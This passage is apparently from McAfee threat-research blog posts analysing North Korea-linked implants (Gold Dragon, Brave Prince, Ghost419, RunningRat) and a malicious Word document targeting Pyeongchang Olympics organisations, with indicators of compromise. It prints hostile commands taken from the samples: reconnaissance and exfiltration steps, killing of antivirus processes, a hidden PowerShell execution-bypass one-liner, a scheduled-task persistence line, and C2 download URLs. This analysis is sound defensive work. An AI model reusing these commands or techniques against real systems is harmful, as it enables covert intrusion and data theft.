  • Directory listing of the user’s recently accessed files using command:

cmd.exe /c dir C:\DOCUME~1\<username>\Recent >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

  • Directory listing of the system’s %programfiles% folder using command:

cmd.exe /c dir C:\PROGRA~1\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

  • Systeminfo of the endpoint using command:

cmd.exe /c systeminfo >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

  • Copies the file ixe000.bin from:

C:\Documents and Settings\<username>\Application Data\Microsoft\Windows\UserProfiles\ixe000.bin

To:

C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

  • Registry key and value information for the current user’s Run key (with information collected):

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Number of subkeys

(<KeyIndex>) <KeyName>

Number of Values under each key including the parent Run key

(<ValueIndex>) <Value_Name> <Value_Content>

Registry Run key enumeration by Gold Dragon.

An example of 1.hwp with registry and system information:

Gold Dragon executes these steps executed in the exfiltration process:

  • Once the malware has gathered the required data from the endpoint, it encrypts the data file 1.hwp using the password “www[dot]GoldDragon[dot]com”
  • The encrypted content is written to the data file 1.hwp.
  • During the exfiltration process, the malware Base64-encodes the encrypted data and sends it to its control server using an HTTP POST request to the URL:

http://ink[dot]inkboom.co.kr/host/img/jpg/post.php

  • HTTP data/parameters used in the request include:
    • Content-Type: multipart/form-data; boundary=—-WebKitFormBoundar ywhpFxMBe19cSjFnG <followed by base64 encoded & encrypted system info>
    • User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)
    • Accept-Language: en-us
    • HTTP Version: HTTP/1.0

The malware can also download and execute additional components served to it by the control server. The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request:

GET http://ink[dot]inkboom.co.kr/host/img/jpg/download.php?filename=<Computer_Name>_<username>&continue=dnsadmin

After successfully retrieving the component from the control server, the next-stage payload is copied to the Application Data directory of the current user and executed:

C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\hupdate.ex

(note “ex,” not “exe”)

The capability to download additional components from the control server.

The malware demonstrates its evasive behavior by checking for the presence of specific processes related to antimalware products:

  • The presence of any process with the keywords “v3” and “cleaner.”

Checking for antimalware or cleaner processes.

  • If found, these processes are terminated by sending a WM_CLOSE message to their windowing threads.

Terminating an antimalware/cleaner process.

 

Brave Prince

Brave Prince is a Korean-language implant that contains similar code and behavior to the Gold Dragon variants, specifically the system profiling and control server communication mechanism. The malware gathers detailed logs about the victim’s configuration, contents of the hard drive, registry, scheduled tasks, running processes, and more. Brave Prince was first observed in the wild December 13, 2017, sending logs to the attacker via South Korea’s Daum email service. Later variants posted the data to a web server via an HTTP post command, in the same way that Gold Dragon does.

The embedded domain braveprince.com.

The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. This file is sent as an attachment to the attacker’s email address. Later variants upload the file to a web server via an HTTP post command. The type of data this implant gathers from the victim’s system:

  • Directories and files
  • Network configuration
  • Address resolution protocol cache
  • Systemconfig to gather tasks

Both variants of Brave Prince can kill a process associated with a tool created by Daum that can block malicious code. This tool is exclusive to South Korea.

  • taskkill /f /im daumcleaner.exe

The later variants of Brave Prince include the following hardcoded strings:

  • c:\utils\c2ae_uiproxy.exe
  • c:\users\sales\appdata\local\temp\dwrrypm.dl

 

Ghost419

Ghost419 is a Korean-language implant that first appeared in the wild December 18, 2017, with the most recent sample appearing two days before the Olympics spear phishing email. The malware can be identified by the hardcoded string and URL parameter passed to the control server. Ghost419 can be traced to a sample created July 29, 2017, that appears to be a much earlier version (without the hardcoded identifier). The July version shares 46% of its code with samples created in late December. This early version implant creates a unique mutex value (kjie23948_34238958_KJ238742) that also appears in a sample from December, with the exception that one digit has changed. Ghost419 is based on Gold Dragon and Brave Prince implants and contains shared elements and code, especially for system reconnaissance functions.

Hardcoded “Ghost419” in the malware binary.

The string “WebKitFormBoundarywhpFxMBe19cSjFnG,” part of the upload mechanism, also appears in the Gold Dragon variants of late December 2017.

Gold Dragon sample.

Ghost419 sample.

Numerous other similarities are present in addition to system reconnaissance methods; the communication mechanism uses the same user agent string as Gold Dragon.

Gold Dragon user agent string.

Ghost419 user agent string.

 

RunningRat

RunningRat is a remote access Trojan (RAT) that operates with two DLLs. It gets its name from a hardcoded string embedded in the malware. Upon being dropped onto a system, the first DLL executes. This DLL serves three main functions: killing antimalware, unpacking and executing the main RAT DLL, and obtaining persistence. The malware drops the Windows batch file dx.bat, which attempts to kill the task daumcleaner.exe; a Korean security program. The batch file then attempts to remove itself.

The first DLL unpacks a resource file attached to the DLL using a zlib decompression algorithm. The authors of the malware left the debugging strings in the binary, making the algorithm easy to identify. The second DLL is decompressed in memory and never touches the user’s file system; this file is the main RAT that executes. Finally, the first DLL adds the registry key “SysRat,” at SoftWare\Microsoft\Windows\CurrentVersion\Run, to ensure the malware is executed at startup.

After the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server, effectively changing the address the malware will communicate with. This address is hardcoded in the second DLL as 200.200.200.13 and is modified by the first DLL to 223.194.70.136.

This type of behavior may indicate this code is being reused or is part of a malware kit.

The first DLL uses one common antidebugging technique by checking for SeDebugPrivilege.

Once the second DLL is executed, it gathers information about the victim system’s setup, such as operating system version, and driver and processor information.

The malware initiates its main function of capturing user keystrokes and sending them to the control server using standard Windows networking APIs.

From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality. Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more. However, our current analysis shows no way for such code to be executed.

McAfee ATR analysts will continue to research RunningRat to determine if this extra code is used or is possibly left over from a larger RAT toolkit.

The second DLL employs a few additional antidebugging techniques. One is the use of a custom exception handler and code paths that are designed to generate exceptions.

There are also a few random empty-nested threads to slow down researchers during static analysis.

The final antidebugging technique involves GetTickCount performance counters, which are placed within the main sections of code to detect any delay a debugger adds during runtime.

  

Conclusion

The PowerShell script first discovered by McAfee ATR was delivered via a spear phishing campaign that used image stenography techniques to hide the first-stage implant. (For more on steganography, see the McAfee Labs Threats Report, June 2017, page 33.)

The implants covered in this research establish a permanent presence on the victim’s system once the PowerShell implant is executed. The implants are delivered as a second stage once the attacker gains an initial foothold using fileless malware. Some of the implants will maintain their persistence only if Hangul Word, which is specific to South Korea, is running.

With the discovery of these implants, we now have a better understanding of the scope of this operation. Gold Dragon, Brave Prince, Ghost419, and RunningRat demonstrate a much wider campaign than previously known. The persistent data exfiltration we see from these implants could give the attacker a potential advantage during the Olympics.

We thank Charles Crawford and Asheer Malhotra for their support of this analysis.

 

Indicators of Compromise

IPs

  • 223.194.70.136

Domains

  • trydai.000webhostapp.com
  • follow_dai.000webhostapp.com
  • eodo1.000webhostapp.com
  • nid-help-pchange.atwebpages.com
  • ink.inkboom.co.kr
  • followgho.byethost7.com

Hashes

  • fef671c13039df24e1606d5fdc65c92fbc1578d9
  • 06948ab527ae415f32ed4b0f0d70be4a86b364a5
  • 96a2fda8f26018724c86b275fe9396e24b26ec9e
  • ad08a60dc511d9b69e584c1310dbd6039acffa0d
  • c2f01355880cd9dfeef75cff189f4a8af421e0d3
  • 615447f458463dc77f7ae3b0a4ad20ca2303027a
  • bf21667e4b48b8857020ba455531c9c4f2560740
  • bc6cb78e20cb20285149d55563f6fdcf4aaafa58
  • 465d48ae849bbd6505263f3323e818ccb501ba88
  • a9eb9a1734bb84bbc60df38d4a1e02a870962857
  • 539acd9145befd7e670fe826c248766f46f0d041
  • d63c7d7305a8b2184fff3b0941e596f09287aa66
  • 35e5310b6183469f4995b7cd4f795da8459087a4
  • 11a38a9d23193d9582d02ab0eae767c3933066ec
  • e68f43ecb03330ff0420047b61933583b4144585
  • 83706ddaa5ea5ee2cfff54b7c809458a39163a7a
  • 3a0c617d17e7f819775e48f7edefe9af84a1446b
  • 761b0690cd86fb472738b6dc32661ace5cf18893
  • 7e74f034d8aa4570bd1b7dcfcdfaa52c9a139361
  • 5e1326dd7122e2e2aed04ca4de180d16686853a7
  • 6e13875449beb00884e07a38d0dd2a73afe38283
  • 4f58e6a7a04be2b2ecbcdcbae6f281778fdbd9f9
  • 389db34c3a37fd288e92463302629aa48be06e35
  • 71f337dc65459027f4ab26198270368f68d7ae77
  • 5a7fdfa88addb88680c2f0d5f7095220b4bbffc1

Indicators of Compromise for Feb. 12 update:

Hashes

  •  Sha1: 7ae731d666e547b4f3442fe5675c8e8719d8d862

URLs

  • hxxps://minibodegaslock.cl:443/components/com_tags/controllers/default_tags.php
  • hxxps://minibodegaslock.cl/components/com_tags/controllers/access_log

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Malicious Document Targets Pyeongchang Olympics https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-document-targets-pyeongchang-olympics/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-document-targets-pyeongchang-olympics/#respond Sat, 06 Jan 2018 17:00:39 +0000 https://securingtomorrow.mcafee.com/?p=83466 McAfee Advanced Threat Research analysts have discovered a campaign targeting organizations involved with the Pyeongchang Olympics. Attached in an email was a malicious Microsoft Word document with the original file name 농식품부, 평창 동계올림픽 대비 축산악취 방지대책 관련기관 회의 개최.doc (“Organized by Ministry of Agriculture and Forestry and Pyeongchang Winter Olympics”). The primary target of […]

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McAfee Advanced Threat Research analysts have discovered a campaign targeting organizations involved with the Pyeongchang Olympics.

Attached in an email was a malicious Microsoft Word document with the original file name 농식품부, 평창 동계올림픽 대비 축산악취 방지대책 관련기관 회의 개최.doc (“Organized by Ministry of Agriculture and Forestry and Pyeongchang Winter Olympics”).

The primary target of the email was icehockey@pyeongchang2018.com, with several organizations in South Korea on the BCC line. The majority of these organizations had some association with the Olympics, either in providing infrastructure or in a supporting role. The attackers appear to be casting a wide net with this campaign.

The campaign to target Pyeongchang Olympics began December 22, 2017 with the most recent activity appearing December 28. The attackers originally embedded an implant into the malicious document as a hypertext application (HTA) file, and then quickly moved to hide it in an image on a remote server and used obfuscated Visual Basic macros to launch the decoder script. They also wrote custom PowerShell code to decode the hidden image and reveal the implant.

Analysis

The malicious document was submitted from South Korea to Virus Total on December 29 at 09:04, a day after the original email was sent to the target list. The email was sent from the IP address 43.249.39.152, in Singapore, on December 28 at 23:34. The attacker spoofed the message to appear to be from info@nctc.go.kr, which is the National Counter-Terrorism Center (NCTC) in South Korea. The timing is interesting because the NCTC was in the process of conducting physical antiterror drills in the region in preparation for the Olympic Games. The spoofed source of this email suggests the message is legitimate and increases the chances that victims will treat it as such.

Based on our analysis of the email header, this message did not come from NCTC, rather from the attacker’s IP address in Singapore. The message was sent from a Postfix email server and originated from the hostname ospf1-apac-sg.stickyadstv.com. When the user opens the document, text in Korean tells the victim to enable content to allow the document to be opened in their version of Word.

The malicious document with instructions to enable content.

The enable content message.

The document contains an obfuscated Visual Basic macro:

Visual Basic macro.

The malicious document launches a PowerShell script when the user clicks “Enable Content.” The document was created on December 27 at 15:52 by the author “John.”

The malicious document launches the following PowerShell script:

Manually executing the PowerShell script at the command line.

The script downloads and reads an image file from a remote location and carves out a hidden PowerShell implant script embedded within the image file to execute.

The attackers used the open-source tool Invoke-PSImage, released December 20, to embed the PowerShell script into the image file. The steganography tool works by embedding the bytes of a script into the pixels of the image file, giving the attacker the ability to hide malicious PowerShell code in a visible image on a remote server. The following script can be identified as generated by Invoke-PSImage to execute the attacker’s implant in an image from a remote server.

The initial PowerShell script.

The image that contains the hidden PowerShell code.

To verify the usage of steganography, we employed the tool StegExpose to check the file:

The result confirms the presence of hidden data in our file.

Once the script runs, it passes the decoded script from the image file to the Windows command line in a variable $x, which uses cmd.exe to execute the obfuscated script and run it via PowerShell.

&&set  xmd=echo  iex (ls env:tjdm).value ^| powershell -noni  -noex  -execut bypass -noprofile  -wind  hidden     – && cmd   /C%xmd%

The extracted script is heavily disguised, using a combination of string-format operator obfuscation and other string-based obfuscation techniques.

The obfuscated PowerShell implant script.

The attacker’s objective is to make analysis difficult and to evade detection technologies that rely on pattern matching. Because the obfuscation makes use of native functions in PowerShell, the script can run in an obfuscated state and work correctly.

Obfuscated control servers.

When we deobfuscate the control server URLs, the implant establishes a connection to the following site over SSL:

hxxps://www.thlsystems.forfirst.cz:443/components/com_tags/views/login/process.php.

Based on our analysis, this implant establishes an encrypted channel to the attacker’s server, likely giving the attacker the ability to execute commands on the victim’s machine and to install additional malware. Ultimately this PowerShell implant will be set to automatically start daily at 2 am via a scheduled task (shown below). The view.hta contains the same PowerShell-based implant and establishes a remote connection over SSL to hxxps://200.122.181.63:443/components/com_tags/views/news.php.

C:\Windows\system32\schtasks.exe” /Create /F /SC DAILY /ST 14:00 /TN “MS Remoute Update” /TR C:\Users\Ops03\AppData\Local\view.hta

The contents of view.hta.

During our research, we discovered a cached Apache server log for the IP address 81.31.47.101, which is shared hosting. This log contained information for the control server thlsystems.forfirst.cz, which showed an IP address from South Korea connecting to the specific URL paths contained in the PowerShell implants. This indicates that the implant was active in South Korea and targets were likely being infected.

Apache server log from December 29, 2017.

While investigating thlsystems.forfirst.cz we discovered that the webpage belongs to a legitimate entity, suggesting this is a compromised server being used as both an encrypted backchannel for the attacker and the distribution of implants. The server also hosts a copy of the obfuscated PowerShell implant.

The implant establishes an encrypted channel to the following URL path:

hxxps://www.thlsystems.forfirst.cz:443/components/com_tags/views/admin/get.php

An image from December 30, 2017.

When investigating the IP address from the PowerShell implant 200.122.181.63 we found a server in Costa Rica that resolves to mafra.go.kr.jeojang.ga. The domain jeojang.ga was registered via Freenom, a free anonymous domain provider. It appears the attacker is using parts of a domain that belong to the South Korean Ministry of Agriculture and Forestry, which is in line with the attached document name in the email, but this domain has nothing to do with this government agency.

A version of the malicious document from December 22 embedded the PowerShell implant directly into the Word document in the form of an HTA file. McAfee Advanced Threat Research analysts discovered another document that was hosted at this domain; its original title is 위험 경보 (전국야생조류 분변 고병원성 AI(H5N6형) 검출).docx, which also appears to come from the Ministry of Agriculture and Forestry. This document was created on December 22 by the same author, “John.” The document does not contain macros, rather OLE streams for the embedded HTA files. When the Korean-language docx icon is clicked, it launches the embedded HTA file Error733.hta. This file contains the same script code to launch the PowerShell implant as in the view.hta example.

An earlier malicious document that relies on OLE streams.

 

Conclusion

The basic method in this case, an in-memory implant using PowerShell along with obfuscation to avoid detection, is a common and increasing popular fileless technique used in cyberattacks. We have not previously seen this kind of attack targeting victims in South Korea.

The use of the steganography tool shows how quickly the adversary has adapted to new tools. On December 20, the tool Invoke-PSImage was released to the public and within seven days was tested and deployed in a campaign targeting organizations involved in the 2018 Pyeongchang Olympics.

With the upcoming Olympics, we expect to see an increase in cyberattacks using Olympics-related themes. In similar past cases, the victims were targeted for their passwords and financial information. In this case the adversary is targeting the organizations involved in the Winter Olympics by using several techniques to make it more tempting to open the weaponized document:

  • Spoofed email address from South Korea’s National Counter-Terrorism Council
  • Use of Korean language
  • Asking users to open the content because the document is in protected mode
  • Partial use of the original South Korean Ministry of Agriculture and Forestry domain in a registered fake domain for malicious intent

The Advanced Threat Research team has discovered an increase in the use of weaponized Word documents against South Korean targets in place of the traditional use of weaponized documents exploiting vulnerabilities in the Hangul word processor software.

 

Indicators of compromise

SHA-1

  • c388b693d10e2b84af52ab2c29eb9328e47c3c16
  • 8ad0a56e3db1e2cd730031bdcae2dbba3f7aba9c

IPs

  • 200.122.181.63

Domains

  • thlsystems.forfirst.cz
  • mafra.go.kr.jeojang.ga

The post Malicious Document Targets Pyeongchang Olympics appeared first on McAfee Blogs.

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